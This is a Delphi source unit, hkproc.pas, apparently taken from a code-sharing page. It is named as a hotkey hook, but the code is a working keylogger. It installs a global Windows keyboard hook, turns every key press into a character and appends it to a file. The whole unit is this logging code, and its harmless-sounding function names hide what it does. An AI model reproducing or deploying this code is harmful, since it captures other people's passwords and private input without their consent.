📄 hkproc.pas
字号:
unit HKProc;
interface
uses
Windows;
var
F: File of Char;
function EnableHotKeyHook: BOOL; stdcall;
function DisableHotKeyHook: BOOL; stdcall;
procedure HotKeyHookExit;
implementation
const
_KeyPressMask = $80000000 ;
var
C: Char;
ShiftDown,CapsDown: Boolean;
hNextHookProc: HHook;
function KeyboardHookHandler(
iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
Result := 0;
if iCode < 0 then
begin
Result := CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
Exit;
end;
if (lParam and _KeyPressMask) = 0 then //第32位为0,表示KeyDown状态
begin
ShiftDown := (GetKeyState($10) and _KeyPressMask) = _KeyPressMask;
CapsDown := (GetKeyState($14) and 1) = 1;
if wParam < 65 then
begin
if ShiftDown then
C := Chr(wParam-16)
else
C := Chr(wParam);
end else
begin
if wParam in [96..105] then
C := Chr(wParam-48) //数字键盘
else if ShiftDown xor CapsDown then
C := Chr(wParam)
else
C := Chr(wParam+32);
end;
Seek(F,FileSize(F));
Write(F,C);
end;
end;
function EnableHotKeyHook: BOOL; stdcall;
begin
if hNextHookProc = 0 then
begin
ReWrite(F);
hNextHookProc := SetWindowsHookEx(
WH_KEYBOARD,KeyboardHookHandler,Hinstance,0);
end;
Result := hNextHookProc <> 0;
end;
function DisableHotKeyHook: BOOL; stdcall;
begin
if hNextHookPRoc <> 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc := 0;
end;
Result := hNextHookPRoc = 0;
end;
procedure HotKeyHookExit;
begin
DisableHotKeyHook;
Close(F);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -